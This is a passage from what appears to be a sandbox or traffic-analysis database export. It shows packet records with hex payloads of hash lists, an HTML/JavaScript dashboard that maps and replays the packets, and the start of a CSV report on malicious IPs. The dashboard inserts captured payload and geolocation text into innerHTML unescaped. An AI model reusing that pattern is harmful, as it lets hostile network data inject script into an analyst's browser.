b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZ\"}, {\"packet_number\": 7, \"timestamp\": 1783600183.479472, \"timestamp_iso\": \"2026-07-09T17:59:43.479472\", \"timestamp_human\": \"2026-07-09 17:59:43.479\", \"size\": 1050, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 48830, \"ip_len\": 1036, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722715783, \"tcp_ack\": 2078836110, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 996, \"payload_preview\": \"57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"W3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}, {\"packet_number\": 9, \"timestamp\": 1783600193.541705, \"timestamp_iso\": \"2026-07-09T17:59:53.541705\", \"timestamp_human\": \"2026-07-09 17:59:53.541\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 48831, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722716779, \"tcp_ack\": 2078836110, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1783600193.542176, \"timestamp_iso\": \"2026-07-09T17:59:53.542176\", \"timestamp_human\": \"2026-07-09 17:59:53.542\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.204\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64005, \"tcp_seq\": 722716780, \"tcp_ack\": 2078836111, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 2, \"FIN\": 1}, \"packet_sizes\": [66, 54, 3470, 1050, 54, 54], \"inter_packet_intervals\": [0.0002548694610595703, 0.3865699768066406, 0.00415802001953125, 10.062232971191406, 0.0004711151123046875], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.453686952590942, \"avg_packet_size\": 791.3333333333334, \"packets_per_second\": 0.5739601756979056, \"bytes_per_second\": 454.19381903560924, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 66, \"avg_interval\": 2.0907373905181883, \"min_interval\": 0.0002548694610595703, \"max_interval\": 10.062232971191406}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a4fc33f0108394cb24cdce5"},"sha256":"b12cd68c5712badcf74719ab5315c9615896539e84e95b88b996abe956e5f8b3","timestamp":{"$date":"2026-07-09T21:20:23.175Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n77.95.69.15,77.95.69.15,HTTP 